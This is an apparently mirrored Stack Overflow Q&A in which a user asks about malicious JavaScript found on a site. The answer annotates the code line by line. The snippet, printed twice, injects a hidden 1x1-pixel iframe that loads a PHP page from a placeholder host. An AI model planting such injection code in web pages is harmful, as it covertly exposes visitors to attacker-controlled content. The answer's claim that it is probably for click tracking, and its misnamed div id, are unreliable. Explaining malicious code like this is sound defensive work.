gpt4 book ai didi

javascript - 恶意 JavaScript 代码

转载 作者:行者123 更新时间:2023-11-29 17:17:39 26 4
gpt4 key购买 nike

这个恶意 javascript 代码到底在做什么?

(function () {
var qk = document.createElement('iframe');

qk.src = 'http://xxx.tld/wp-includes/dtd.php';
qk.style.position = 'absolute';
qk.style.border = '0';
qk.style.height = '1px';
qk.style.width = '1px';
qk.style.left = '1px';
qk.style.top = '1px';

if (!document.getElementById('qk')) {
document.write('<div id=\'qk\'></div>');
document.getElementById('qk').appendChild(qk);
}
})();

位于 http://xxx.tld/wp-includes/dtd.php 的网站刚刚返回 OK。

最佳答案

它是:

(function () {
var qk = document.createElement('iframe'); // creating an iframe

qk.src = 'http://xxx.tld/wp-includes/dtd.php'; // pointing it at a webpage

/*
making the iframe only take up a 1px by 1px square
in the top left-hand corner of the web page it is injected into
*/
qk.style.position = 'absolute';
qk.style.border = '0';
qk.style.height = '1px';
qk.style.width = '1px';
qk.style.left = '1px';
qk.style.top = '1px';

/*
Adding the iframe to the DOM by creating a <div> with an ID of "qt"
(If the div has not been created already)
*/
if (!document.getElementById('qk')) {
document.write('<div id=\'qk\'></div>');
document.getElementById('qk').appendChild(qk);
}
})();

当 iframe 被注入(inject) DOM 时,浏览器将向 http://xxx.tld/etc 发出请求。这样做很可能是为了跟踪您网站上的点击率。

关于javascript - 恶意 JavaScript 代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15825408/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com